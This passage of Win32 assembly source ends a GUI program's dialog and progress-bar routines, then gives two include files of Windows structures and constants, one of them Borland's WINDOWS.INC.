        push offset dlgrect
        push handle
        call GetWindowRect
        call GetDesktopWindow
        push offset desktoprect
        push eax
        call GetWindowRect
 
        push 00h
        mov eax, dlgrect.rcBottom
        sub eax, dlgrect.rcTop
        mov dlgheight, eax
        push eax                              ; height
        mov eax, dlgrect.rcRight
        sub eax, dlgrect.rcLeft
        mov dlgwidth, eax                     ; width
        push eax
        mov eax, desktoprect.rcBottom         
        sub eax, dlgheight
        shr eax, 1
        push eax                              ; bottom
        mov eax, desktoprect.rcRight
        sub eax, dlgwidth
        shr eax, 1
        push eax                              ; top
        push handle                           ; handle
        call MoveWindow                       ; move to center
        mov initflag, 01h
        xor eax, eax
        ret
  
    InitValues:
        mov initflag, 00h
        call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h
        call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11
        call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12
        call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13
        call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14
        call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h
        call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue
        call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3
        call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4
        call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h
        call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h
        call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h
        call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h
        call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h
        xor eax, eax
        ret
 
    Exit1:
        push wparam       
        push handle       
        call EndDialog      
        mov eax, 01h
        ret
 
MYDIALOG_1 endp
 
PROGRESS proc handle: dword
 
    ClearProgressBar:
        push 00h
        push 00h
        push PBM_SETPOS
        push 105
        push handle
        call SendDlgItemMessageA
        xor eax, eax
        xor ecx, ecx
 
    LittleLoop:
        inc ecx
        cmp ecx, 100000h
        jne LittleLoop 
 
    ProgressLoop:
        inc eax
        push 00h
        push eax
        push PBM_SETPOS
        push 105
        push handle
        call SendDlgItemMessageA
        xor ecx, ecx
        cmp eax, 99d
        jne LittleLoop
 
    ProgressDone:
        mov flag, 02h
        push threadid
        call CloseHandle
        ret
 
PROGRESS endp
 
;============================================================================;
 
end Start
end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ICECUBES.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
LPVOID                         typedef DWORD          ;long ptr to buffer
BOOL                           typedef DWORD          ;boolean variable
HANDLE                         typedef DWORD          ;unspecified handle
LPSTR                          typedef DWORD          ;long ptr to string
LPBYTE                         typedef DWORD          ;long ptr to byte
ACHAR                          typedef BYTE           ;ansi character
CHAR                           textequ         ;ansi char type
CHAR_                          equ     1              ;ansi char size
 
CREATE_DEFAULT_ERROR_MODE      equ     04000000h
 
SECURITY_ATTRIBUTES_   equ       4+4+4
SECURITY_ATTRIBUTES    struct
sa_nLength             DWORD     SECURITY_ATTRIBUTES_ ;structure size
sa_lpSecurityDescriptor        LPVOID    0            ;security descriptor
sa_bInheritHandle      BOOL      0            ;handle inheritance flag
SECURITY_ATTRIBUTES    ends
 
PROCESS_INFORMATION    struct
pi_hProcess            HANDLE    0            ;process handle
pi_hThread             HANDLE    0            ;thread handle
pi_dwProcessId         DWORD     0            ;process id
pi_dwThreadId          DWORD     0            ;thread id
PROCESS_INFORMATION    ends
PROCESS_INFORMATION_   equ       4+4+4+4
 
STARTUPINFO            struct
si_cb                  DWORD     0            ;structure size
si_lpReserved          LPSTR     0            ;(reserved)
si_lpDesktop           LPSTR     0            ;desktop name
sl_lpTitle             LPSTR     0            ;console window title
si_dwX                 DWORD     0            ;window origin (column)
si_dwY                 DWORD     0            ;window origin (row)
si_dwXSize             DWORD     0            ;window width
si_dwYSize             DWORD     0            ;window height
si_dwXCountChars       DWORD     0            ;screen buffer width
si_dwYCountChars       DWORD     0            ;screen buffer height
si_dwFillAttribute     DWORD     0            ;console window initialization
si_dwFlags             DWORD     0            ;structure member flags
si_wShowWindow         WORD      0            ;ShowWindow() parameter
si_cbReserved2         WORD      0            ;(reserved)
si_lpReserved2         LPBYTE    0            ;(reserved)
si_hStdInput           HANDLE    0            ;standard input handle
si_hStdOutput          HANDLE    0            ;standard output handle
si_hStdError           HANDLE    0            ;standard error handle
STARTUPINFO            ends
STARTUPINFO_           equ       4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4
 
SYSTEMTIME             struct
wYear          WORD      0            ;current year
wMonth         WORD      0            ;current month (1..12)
wDayOfWeek             WORD      0            ;day of week (0 = sunday)
wDay                   WORD      0            ;current day of the month
wHour          WORD      0            ;current hour
wMinute        WORD      0            ;current minute
wSecond        WORD      0            ;current second
wMilliseconds  WORD      0            ;current millisecond
SYSTEMTIME             ends
SYSTEMTIME_            equ       2+2+2+2+2+2+2+2
;
 
WIN32_FIND_DATA_       equ       4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)
WIN32_FIND_DATA        struct
fd_dwFileAttributes    DWORD     0            ;file attributes
fd_ftCreationTime      DWORD     0, 0         ;time of file creation
fd_ftLastAccessTime    DWORD     0, 0         ;time of last file access
fd_ftLastWriteTime     DWORD     0, 0         ;time of last write access
fd_nFileSizeHigh       DWORD     0            ;high-order word of file size
fd_nFileSizeLow        DWORD     0            ;low-order word of file size
fd_dwReserved0         DWORD     0            ;(reserved)
fd_dwReserved1         DWORD     0            ;(reserved)
fd_cFileName           CHAR      260 dup(0)    ;matching file name
fd_cAlternateFileName  CHAR      14 dup(0)    ;8.3 alias name
WIN32_FIND_DATA        ends
;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WINDOWS.INC]ÄÄÄ
;*************************************************************************
;
;       WINDOWS.INC - Windows assembly language structures & constants
;
;*************************************************************************
;
;
;       C/C++ Run Time Library - Version 7.0
; 
;       Copyright (c) 1985, 1996 by Borland International
;       All Rights Reserved.
; 
;
; Conditional Block includes:   (True states)
;     NOTEXT - don't include TextMetric struc & text drawing modes & stock objs.
;     NORASTOPS - don't include binary and ternary raster ops.
;     NOVK      - don't include virtual key definitions
;     NOMB      - don't include message box definitions
;     NOWM      - don't include window messages
;
;
FALSE   =       0
TRUE    =       1
NULL    =       0
 
 
;*******************************************************************
;
;       Misc EQU's
;
;*******************************************************************
 
SB_SETTEXTA                    equ     WM_USER+01
SB_GETTEXTA                    equ     WM_USER+02
SB_GETTEXTLENGTHA              equ     WM_USER+03
SB_SETPARTS                    equ     WM_USER+04
SB_GETPARTS                    equ     WM_USER+06
SB_GETBORDERS                  equ     WM_USER+07
SB_SETMINHEIGHT                equ     WM_USER+08
SB_SIMPLE                      equ     WM_USER+09
SB_GETRECT                     equ     WM_USER+10
SB_SETTEXTW                    equ     WM_USER+11
SB_GETTEXTLENGTHW              equ     WM_USER+12
SB_GETTEXTW                    equ     WM_USER+13
 
GCL_MENUNAME                         equ -8
GCL_HBRBACKGROUND                    equ -10
GCL_HCURSOR                          equ -12
GCL_HICON                            equ -14
GCL_HMODULE                          equ -16
GCL_CBWNDEXTRA                       equ -18
GCL_CBCLSEXTRA                       equ -20
GCL_WNDPROC                          equ -24
GCL_STYLE                            equ -26
 
PBM_SETRANGE    equ WM_USER+1
PBM_SETPOS      equ WM_USER+2
PBM_DELTAPOS    equ WM_USER+3
PBM_SETSTEP     equ WM_USER+4
PBM_STEPIT      equ WM_USER+5
 
ICON_SMALL              equ 0
DEFAULT_PITCH           equ 0
DEFAULT_QUALITY         equ 0
OEM_CHARSET             equ 255
CLIP_CHARACTER_PRECIS    equ 1
CLIP_DEFAULT_PRECIS      equ 0
OUT_DEFAULT_PRECIS       equ 0
 
;*******************************************************************
;
;       Window Class
;
;*******************************************************************
 
DLGWINDOWEXTRA                       equ 30
 
WNDCLASSEX STRUCT
  wc_cbSize  DWORD      ?
  wc_style  DWORD      ?
  wc_lpfnWndProc  DWORD      ?
  wc_cbClsExtra  DWORD      ?
  wc_cbWndExtra  DWORD      ?
  wc_hInstance  DWORD      ?
  wc_hIcon  DWORD      ?
  wc_hCursor  DWORD      ?
  wc_hbrBackground  DWORD      ?
  wc_lpszMenuName  DWORD      ?
  wc_lpszClassName  DWORD      ?
  wc_hIconSm  DWORD      ?
WNDCLASSEX ENDS
 
;*******************************************************************
;
;       Message Structure
;
;*******************************************************************
 
MSG STRUCT
  msg_hwnd  DWORD      ?
  msg_message  DWORD      ?
  msg_wParam  DWORD      ?
  msg_lParam  DWORD      ?
  msg_time  DWORD      ?
  msg_pt  QWORD      ?
MSG ENDS
 
;*******************************************************************
;
;       Open Filename Dialog
;
;*******************************************************************
 
OPENFILENAME STRUCT
  of_lStructSize        DWORD      ?
  of_hWndOwner          DWORD      ?
  of_hInstance          DWORD      ?
  of_lpstrFilter        DWORD      ?
  of_lpstrCustomFilter  DWORD      ?
  of_nMaxCustFilter     DWORD      ?
  of_nFilterIndex       DWORD      ?
  of_lpstrFile          DWORD      ?
  of_nMaxFile           DWORD      ?
  of_lpstrFileTitle     DWORD      ?
  of_nMaxFileTitle      DWORD      ?
  of_lpstrInitialDir    DWORD      ?
  of_lpstrTitle         DWORD      ?
  of_Flags              DWORD      ?
  of_nFileOffset         WORD      ?
  of_nFileExtension      WORD      ?
  of_lpstrDefExt        DWORD      ?
  of_lCustData          DWORD      ?
  of_lpfnHook           DWORD      ?
  of_lpTemplateName     DWORD      ?
OPENFILENAME ENDS
 
OFN_ALLOWMULTISELECT    equ 00000200h
OFN_CREATEPROMPT        equ 00002000h
OFN_ENABLEHOOK          equ 00000020h
OFN_ENABLETEMPLATE      equ 00000040h
OFN_ENABLETEMPLATEHANDLE                equ 00000080h
OFN_EXPLORER            equ 00080000h
OFN_EXTENSIONDIFFERENT  equ 00000400h
OFN_FILEMUSTEXIST       equ 00001000h
OFN_HIDEREADONLY        equ 00000004h
OFN_LONGNAMES           equ 00200000h
OFN_NOCHANGEDIR         equ 00000008h
OFN_NODEREFERENCELINKS  equ 00100000h
OFN_NOLONGNAMES         equ 00040000h
OFN_NONETWORKBUTTON     equ 00020000h
OFN_NOREADONLYRETURN    equ 00008000h
OFN_NOTESTFILECREATE    equ 00010000h
OFN_NOVALIDATE          equ 00000100h
OFN_OVERWRITEPROMPT     equ 00000002h
OFN_PATHMUSTEXIST       equ 00000800h
OFN_READONLY            equ 00000001h
OFN_SHAREAWARE          equ 00004000h
OFN_SHOWHELP            equ 00000010h
OFN_SHAREFALLTHROUGH    equ 2
OFN_SHARENOWARN         equ 1
OFN_SHAREWARN           equ 0
 
 
;*******************************************************************
;
;       List View Control
;
;*******************************************************************
 
LVM_GETITEM     equ LVM_FIRST + 5
LVM_GETITEMW    equ LVM_FIRST + 75
LVM_SETITEM     equ LVM_FIRST + 6
LVM_SETITEMW    equ LVM_FIRST + 76
LVM_INSERTITEM  equ LVM_FIRST + 7
LVM_INSERTITEMW equ LVM_FIRST + 77
LVM_DELETEITEM  equ LVM_FIRST + 8
LVM_DELETEALLITEMS              equ LVM_FIRST + 9
LVM_GETCALLBACKMASK             equ LVM_FIRST + 10
LVM_FIRST        equ 1000h
LVM_SETCALLBACKMASK             equ LVM_FIRST + 11
LVM_GETITEMRECT equ LVM_FIRST + 14
LVM_SETITEMPOSITION             equ LVM_FIRST + 15
LVM_GETITEMPOSITION             equ LVM_FIRST + 16
LVM_GETSTRINGWIDTH              equ LVM_FIRST + 17
LVM_GETSTRINGWIDTHW             equ LVM_FIRST + 87
LVCF_FMT        equ 0001h
LVCF_WIDTH      equ 0002h
LVCF_TEXT       equ 0004h
LVCF_SUBITEM    equ 0008h
LVCFMT_LEFT     equ 0000h
LVCFMT_RIGHT    equ 0001h
LVCFMT_CENTER   equ 0002h
LVCFMT_JUSTIFYMASK              equ 0003h
LVM_GETCOLUMN   equ LVM_FIRST + 25
LVM_GETCOLUMNW  equ LVM_FIRST + 95
LVM_SETCOLUMN   equ LVM_FIRST + 26
LVM_SETCOLUMNW  equ LVM_FIRST + 96
LVM_INSERTCOLUMN                equ LVM_FIRST + 27
LVM_INSERTCOLUMNW               equ LVM_FIRST + 97
LVM_DELETECOLUMN                equ LVM_FIRST + 28
LVM_GETCOLUMNWIDTH              equ LVM_FIRST + 29
LVIF_TEXT       equ 0001h
LVIF_IMAGE      equ 0002h
LVIF_PARAM      equ 0004h
LVIF_STATE      equ 0008h
 
 
 
LV_ITEM STRUC
  lvi_imask  DWORD      ?
  lvi_iItem  DWORD      ?
  lvi_iSubItem  DWORD      ?
  lvi_state  DWORD      ?
  lvi_stateMask  DWORD      ?
  lvi_pszText  DWORD      ?
  lvi_cchTextMax  DWORD      ?
  lvi_iImage  DWORD      ?
  lvi_lParam  DWORD      ?
  lvi_iIndent DWORD        ?
LV_ITEM ENDS
 
LV_FINDINFO STRUC
  lvfi_flags  DWORD      ?
  lvfi_psz  DWORD      ?
  lvfi_lParam  DWORD      ?
  lvfi_pt  QWORD      ?
  lvfi_vkDirection  DWORD      ?
LV_FINDINFO ENDS
 
LV_HITTESTINFO STRUC
  lvht_pt  QWORD      ?
  lvht_flags  DWORD      ?
  lvht_iItem  DWORD      ?
LV_HITTESTINFO ENDS
 
LV_COLUMN STRUC
  lvc_imask  DWORD      ?
  lvc_fmt  DWORD      ?
  lvc_lx  DWORD      ?
  lvc_pszText  DWORD      ?
  lvc_cchTextMax  DWORD      ?
  lvc_iSubItem  DWORD      ?
LV_COLUMN ENDS
 
;*******************************************************************
;
;       Rectangle
;
;*******************************************************************
 
RECT    struc
        rcLeft          dd      ?
        rcTop           dd      ?
        rcRight         dd      ?
        rcBottom        dd      ?
RECT    ends
 
;*******************************************************************
;
;  Window Class structure
;
;*******************************************************************
 
WNDCLASS struc
        clsStyle        dw      ?       ; class style
        clsLpfnWndProc  dd      ?
        clsCbClsExtra   dw      ?
        clsCbWndExtra   dw      ?
        clsHInstance    dw      ?       ; instance handle
        clsHIcon        dw      ?       ; class icon handle
        clsHCursor      dw      ?       ; class cursor handle
        clsHbrBackground dw     ?       ; class background brush
        clsLpszMenuName dd      ?       ; menu name
        clsLpszClassName dd     ?       ; far ptr to class name
WNDCLASS ends
 
IFNDEF NOTEXT
TEXTMETRIC struc
    tmHeight        dw      ?
    tmAscent        dw      ?
    tmDescent       dw      ?
    tmIntLeading    dw      ?
    tmExtLeading    dw      ?
    tmAveCharWidth  dw      ?
    tmMaxCharWidth  dw      ?
    tmWeight        dw      ?
    tmItalic        db      ?
    tmUnderlined    db      ?
    tmStruckOut     db      ?
    tmFirstChar     db      ?
    tmLastChar      db      ?
    tmDefaultChar   db      ?
    tmBreakChar     db      ?
    tmPitch         db      ?
    tmCharSet       db      ?
    tmOverhang      dw      ?
    tmAspectX       dw      ?
    tmAspectY       dw      ?
TEXTMETRIC ends
 
LF_FACESIZE     EQU     32
 
LOGFONT struc
    lfHeight          dw   ?
    lfWidth           dw   ?
    lfEscapement      dw   ?
    lfOrientation     dw   ?
    lfWeight          dw   ?
    lfItalic          db   ?
    lfUnderline       db   ?
    lfStrikeOut       db   ?
    lfCharSet         db   ?
    lfOutPrecision    db   ?
    lfClipPrecision   db   ?
    lfQuality         db   ?
    lfPitchAndFamily  db   ?
    lfFaceName        db   LF_FACESIZE dup(?)
LOGFONT ends
 
LOGBRUSH struc
    lbStyle         dw ?
    lbColor         dd ?
    lbHatch         dw ?
LOGBRUSH ends
 
;
;  Text Drawing modes
;
TRANSPARENT     = 1
OPAQUE          = 2
;
; Mapping Modes
;
MM_TEXT         =   1
MM_LOMETRIC     =   2
MM_HIMETRIC     =   3
MM_LOENGLISH    =   4
MM_HIENGLISH    =   5
MM_TWIPS        =   6
MM_ISOTROPIC    =   7
MM_ANISOTROPIC  =   8
;
; Coordinate Modes
;
ABSOLUTE        =   1
RELATIVE        =   2
;
;  Stock Logical Objects
;
WHITE_BRUSH         =  0
LTGRAY_BRUSH        =  1
GRAY_BRUSH          =  2
DKGRAY_BRUSH        =  3
BLACK_BRUSH         =  4
NULL_BRUSH          =  5
HOLLOW_BRUSH        =  5
WHITE_PEN           =  6
BLACK_PEN           =  7
NULL_PEN            =  8
DOT_MARKER          =  9
OEM_FIXED_FONT      = 10
ANSI_FIXED_FONT     = 11
ANSI_VAR_FONT       = 12
SYSTEM_FONT         = 13
DEVICE_DEFAULT_FONT = 14
DEFAULT_PALETTE     = 15
SYSTEM_FIXED_FONT   = 16
ENDIF
;
; Brush Styles
;
BS_SOLID        =   0
BS_NULL         =   1
BS_HOLLOW       =   BS_NULL
BS_HATCHED      =   2
BS_PATTERN      =   3
BS_INDEXED      =   4
BS_DIBPATTERN   =   5
;
; Hatch Styles
;
HS_HORIZONTAL   =   0       ; -----
HS_VERTICAL     =   1       ; |||||
HS_FDIAGONAL    =   2       ; \\\\\
HS_BDIAGONAL    =   3       ; /////
HS_CROSS        =   4       ; +++++
HS_DIAGCROSS    =   5       ; xxxxx
;
; Pen Styles
;
PS_SOLID        =   0
PS_DASH         =   1       ; -------
PS_DOT          =   2       ; .......
PS_DASHDOT      =   3       ; _._._._
PS_DASHDOTDOT   =   4       ; _.._.._
PS_NULL         =   5
PS_INSIDEFRAME  =   6
;
; Device Parameters for GetDeviceCaps()
;
DRIVERVERSION =0     ; Device driver version
TECHNOLOGY    =2     ; Device classification
HORZSIZE      =4     ; Horizontal size in millimeters
VERTSIZE      =6     ; Vertical size in millimeters
HORZRES       =8     ; Horizontal width in pixels
VERTRES       =10    ; Vertical width in pixels
BITSPIXEL     =12    ; Number of bits per pixel
PLANES        =14    ; Number of planes
NUMBRUSHES    =16    ; Number of brushes the device has
NUMPENS       =18    ; Number of pens the device has
NUMMARKERS    =20    ; Number of markers the device has
NUMFONTS      =22    ; Number of fonts the device has
NUMCOLORS     =24    ; Number of colors the device supports
PDEVICESIZE   =26    ; Size required for device descriptor
CURVECAPS     =28    ; Curve capabilities
LINECAPS      =30    ; Line capabilities
POLYGONALCAPS =32    ; Polygonal capabilities
TEXTCAPS      =34    ; Text capabilities
CLIPCAPS      =36    ; Clipping capabilities
RASTERCAPS    =38    ; Bitblt capabilities
ASPECTX       =40    ; Length of the X leg
ASPECTY       =42    ; Length of the Y leg
ASPECTXY      =44    ; Length of the hypotenuse
 
LOGPIXELSX    =88    ; Logical pixels/inch in X
LOGPIXELSY    =90    ; Logical pixels/inch in Y
 
SIZEPALETTE   =104   ; Number of entries in physical palette
NUMRESERVED   =106   ; Number of reserved entries in palette
COLORRES      =108   ; Actual color resolution
;
ifndef NOGDICAPMASKS
;
; Device Capability Masks:
;
; Device Technologies
DT_PLOTTER       =   0  ; /* Vector plotter                   */
DT_RASDISPLAY    =   1  ; /* Raster display                   */
DT_RASPRINTER    =   2  ; /* Raster printer                   */
DT_RASCAMERA     =   3  ; /* Raster camera                    */
DT_CHARSTREAM    =   4  ; /* Character-stream, PLP            */
DT_METAFILE      =   5  ; /* Metafile, VDM                    */
DT_DISPFILE      =   6  ; /* Display-file                     */
;
; Curve Capabilities
CC_NONE          =   0  ; /* Curves not supported             */
CC_CIRCLES       =   1  ; /* Can do circles                   */
CC_PIE           =   2  ; /* Can do pie wedges                */
CC_CHORD         =   4  ; /* Can do chord arcs                */
CC_ELLIPSES      =   8  ; /* Can do ellipese                  */
CC_WIDE          =   16 ; /* Can do wide lines                */
CC_STYLED        =   32 ; /* Can do styled lines              */
CC_WIDESTYLED    =   64 ; /* Can do wide styled lines         */
CC_INTERIORS     =   128; /* Can do interiors                 */
;
; Line Capabilities
LC_NONE          =   0  ; /* Lines not supported              */
LC_POLYLINE      =   2  ; /* Can do polylines                 */
LC_MARKER        =   4  ; /* Can do markers                   */
LC_POLYMARKER    =   8  ; /* Can do polymarkers               */
LC_WIDE          =   16 ; /* Can do wide lines                */
LC_STYLED        =   32 ; /* Can do styled lines              */
LC_WIDESTYLED    =   64 ; /* Can do wide styled lines         */
LC_INTERIORS     =   128; /* Can do interiors                 */
;
; Polygonal Capabilities
PC_NONE          =   0  ; /* Polygonals not supported         */
PC_POLYGON       =   1  ; /* Can do polygons                  */
PC_RECTANGLE     =   2  ; /* Can do rectangles                */
PC_WINDPOLYGON   =   4  ; /* Can do winding polygons          */
PC_TRAPEZOID     =   4  ; /* Can do trapezoids                */
PC_SCANLINE      =   8  ; /* Can do scanlines                 */
PC_WIDE          =   16 ; /* Can do wide borders              */
PC_STYLED        =   32 ; /* Can do styled borders            */
PC_WIDESTYLED    =   64 ; /* Can do wide styled borders       */
PC_INTERIORS     =   128; /* Can do interiors                 */
;
; Polygonal Capabilities */
CP_NONE          =   0  ; /* No clipping of output            */
CP_RECTANGLE     =   1  ; /* Output clipped to rects          */
;
; Text Capabilities
TC_OP_CHARACTER  =   0001h ; /* Can do OutputPrecision   CHARACTER      */
TC_OP_STROKE     =   0002h ; /* Can do OutputPrecision   STROKE         */
TC_CP_STROKE     =   0004h ; /* Can do ClipPrecision     STROKE         */
TC_CR_90         =   0008h ; /* Can do CharRotAbility    90             */
TC_CR_ANY        =   0010h ; /* Can do CharRotAbility    ANY            */
TC_SF_X_YINDEP   =   0020h ; /* Can do ScaleFreedom      X_YINDEPENDENT */
TC_SA_DOUBLE     =   0040h ; /* Can do ScaleAbility      DOUBLE         */
TC_SA_INTEGER    =   0080h ; /* Can do ScaleAbility      INTEGER        */
TC_SA_CONTIN     =   0100h ; /* Can do ScaleAbility      CONTINUOUS     */
TC_EA_DOUBLE     =   0200h ; /* Can do EmboldenAbility   DOUBLE         */
TC_IA_ABLE       =   0400h ; /* Can do ItalisizeAbility  ABLE           */
TC_UA_ABLE       =   0800h ; /* Can do UnderlineAbility  ABLE           */
TC_SO_ABLE       =   1000h ; /* Can do StrikeOutAbility  ABLE           */
TC_RA_ABLE       =   2000h ; /* Can do RasterFontAble    ABLE           */
TC_VA_ABLE       =   4000h ; /* Can do VectorFontAble    ABLE           */
TC_RESERVED      =   8000h
;
; Raster Capabilities
RC_BITBLT        =   1      ; /* Can do standard BLT.             */
RC_BANDING       =   2      ; /* Device requires banding support  */
RC_SCALING       =   4      ; /* Device requires scaling support  */
RC_BITMAP64      =   8      ; /* Device can support >64K bitmap   */
RC_GDI20_OUTPUT  =   0010h  ; /* has 2.0 output calls         */
RC_DI_BITMAP     =   0080h  ; /* supports DIB to memory       */
RC_PALETTE       =   0100h  ; /* supports a palette           */
RC_DIBTODEV      =   0200h  ; /* supports DIBitsToDevice      */
RC_BIGFONT       =   0400h  ; /* supports >64K fonts          */
RC_STRETCHBLT    =   0800h  ; /* supports StretchBlt          */
RC_FLOODFILL     =   1000h  ; /* supports FloodFill           */
RC_STRETCHDIB    =   2000h  ; /* supports StretchDIBits       */
 
endif       ;NOGDICAPMASKS
 
; palette entry flags
;
PC_RESERVED     = 1    ;/* palette index used for animation */
PC_EXPLICIT     = 2    ;/* palette index is explicit to device */
PC_NOCOLLAPSE   = 4    ;/* do not match color to system palette */
 
; DIB color table identifiers
;
DIB_RGB_COLORS  = 0    ;/* color table in RGBTriples */
DIB_PAL_COLORS  = 1    ;/* color table in palette indices */
;
 
;constants for Get/SetSystemPaletteUse()
;
SYSPAL_STATIC   = 1
SYSPAL_NOSTATIC = 2
 
; constants for CreateDIBitmap
CBM_INIT        = 4    ;/* initialize bitmap */
;
; Bitmap format constants
BI_RGB          = 0
BI_RLE8         = 1
BI_RLE4         = 2
;
;
ANSI_CHARSET    = 0
SYMBOL_CHARSET  = 2
OEM_CHARSET     = 255
;
;  styles for CombineRgn
;
RGN_AND  = 1
RGN_OR   = 2
RGN_XOR  = 3
RGN_DIFF = 4
RGN_COPY = 5
;
;  Predefined cursor & icon IDs
;
IDC_ARROW       = 32512
IDC_IBEAM       = 32513
IDC_WAIT        = 32514
IDC_CROSS       = 32515
IDC_UPARROW     = 32516
IDC_SIZE        = 32640
IDC_ICON        = 32641
IDC_SIZENWSE    = 32642
IDC_SIZENESW    = 32643
IDC_SIZEWE      = 32644
IDC_SIZENS      = 32645
 
IDI_APPLICATION = 32512
IDI_HAND        = 32513
IDI_QUESTION    = 32514
IDI_EXCLAMATION = 32515
IDI_ASTERISK    = 32516
 
;
; OEM Resource Ordinal Numbers */
;
OBM_CLOSE         =  32754
OBM_UPARROW       =  32753
OBM_DNARROW       =  32752
OBM_RGARROW       =  32751
OBM_LFARROW       =  32750
OBM_REDUCE        =  32749
OBM_ZOOM          =  32748
OBM_RESTORE       =  32747
OBM_REDUCED       =  32746
OBM_ZOOMD         =  32745
OBM_RESTORED      =  32744
OBM_UPARROWD      =  32743
OBM_DNARROWD      =  32742
OBM_RGARROWD      =  32741
OBM_LFARROWD      =  32740
OBM_MNARROW       =  32739
OBM_COMBO         =  32738
OBM_UPARROWI      =  32737
OBM_DNARROWI      =  32736
OBM_RGARROWI      =  32735
OBM_LFARROWI      =  32734
 
OBM_OLD_CLOSE     =  32767
OBM_SIZE          =  32766
OBM_OLD_UPARROW   =  32765
OBM_OLD_DNARROW   =  32764
OBM_OLD_RGARROW   =  32763
OBM_OLD_LFARROW   =  32762
OBM_BTSIZE        =  32761
OBM_CHECK         =  32760
OBM_CHECKBOXES    =  32759
OBM_BTNCORNERS    =  32758
OBM_OLD_REDUCE    =  32757
OBM_OLD_ZOOM      =  32756
OBM_OLD_RESTORE   =  32755
 
OCR_NORMAL        =  32512
OCR_IBEAM         =  32513
OCR_WAIT          =  32514
OCR_CROSS         =  32515
OCR_UP            =  32516
OCR_SIZE          =  32640
OCR_ICON          =  32641
OCR_SIZENWSE      =  32642
OCR_SIZENESW      =  32643
OCR_SIZEWE        =  32644
OCR_SIZENS        =  32645
OCR_SIZEALL       =  32646
OCR_ICOCUR        =  32647
 
OIC_SAMPLE        =  32512
OIC_HAND          =  32513
OIC_QUES          =  32514
OIC_BANG          =  32515
OIC_NOTE          =  32516
 
;
;   Scroll bar constants
;
SB_HORZ = 0
SB_VERT = 1
SB_CTL  = 2
SB_BOTH = 3
;
;   Scroll Commands
;
SB_LINEUP        = 0
SB_LINEDOWN      = 1
SB_PAGEUP        = 2
SB_PAGEDOWN      = 3
SB_THUMBPOSITION = 4
SB_THUMBTRACK    = 5
SB_TOP           = 6
SB_BOTTOM        = 7
SB_ENDSCROLL     = 8
;
;  MessageBox type flags
;
IFNDEF                  NOMB
MB_OK                   = 0000H
MB_OKCANCEL             = 0001H
MB_ABORTRETRYIGNORE     = 0002H
MB_YESNOCANCEL          = 0003H
MB_YESNO                = 0004H
MB_RETRYCANCEL          = 0005H
 
MB_ICONHAND             = 0010H
MB_ICONQUESTION         = 0020H
MB_ICONEXCLAMATION      = 0030H
MB_ICONASTERISK         = 0040H
 
MB_DEFBUTTON1           = 0000H
MB_DEFBUTTON2           = 0100H
MB_DEFBUTTON3           = 0200H
 
MB_APPLMODAL            = 0000H
MB_SYSTEMMODAL          = 1000H
MB_TASKMODAL            = 2000H
 
MB_NOFOCUS              = 8000H
 
;
;  Conventional dialog box and message box command IDs
;
IDOK     =   1
IDCANCEL =   2
IDABORT  =   3
IDRETRY  =   4
IDIGNORE =   5
IDYES    =   6
IDNO     =   7
;
;  Flags for OpenFile
;
OF_READ             = 0000H
OF_WRITE            = 0001H
OF_READWRITE        = 0002H
OF_SHARE_COMPAT     = 0000H
OF_SHARE_EXCLUSIVE  = 0010H
OF_SHARE_DENY_WRITE = 0020H
OF_SHARE_DENY_READ  = 0030H
OF_SHARE_DENY_NONE  = 0040H
OF_PARSE            = 0100H
OF_DELETE           = 0200H
OF_VERIFY           = 0400H     ; Used with OF_REOPEN
OF_SEARCH           = 0400H     ; Used without OF_REOPEN
OF_CANCEL           = 0800H
OF_CREATE           = 1000H
OF_PROMPT           = 2000H
OF_EXIST            = 4000H
OF_REOPEN           = 8000H
 
TF_FORCEDRIVE   = 80H
 
OPENSTRUC       STRUC
opLen   db      ?
opDisk  db      ?
opXtra  dw      ?
opDate  dw      ?
opTime  dw      ?
opFile  db      120 dup (?)
OPENSTRUC       ENDS
;
;  DrawText format flags
;
DT_LEFT         = 00H
DT_CENTER       = 01H
DT_RIGHT        = 02H
DT_TOP          = 00H
DT_VCENTER      = 04H
DT_BOTTOM       = 08H
DT_WORDBREAK    = 10H
DT_SINGLELINE   = 20H
DT_EXPANDTABS   = 40H
DT_TABSTOP      = 80H
DT_NOCLIP       =    0100H
DT_EXTERNALLEADING = 0200H
DT_CALCRECT     =    0400H
DT_NOPREFIX     =    0800H
DT_INTERNAL     =    1000H
ENDIF
 
;
; ExtFloodFill style flags
;
FLOODFILLBORDER  =  0
FLOODFILLSURFACE =  1
 
;
; Memory manager flags
;
LMEM_FIXED      =   0000h
LMEM_MOVEABLE   =   0002h
LMEM_NOCOMPACT  =   0010H
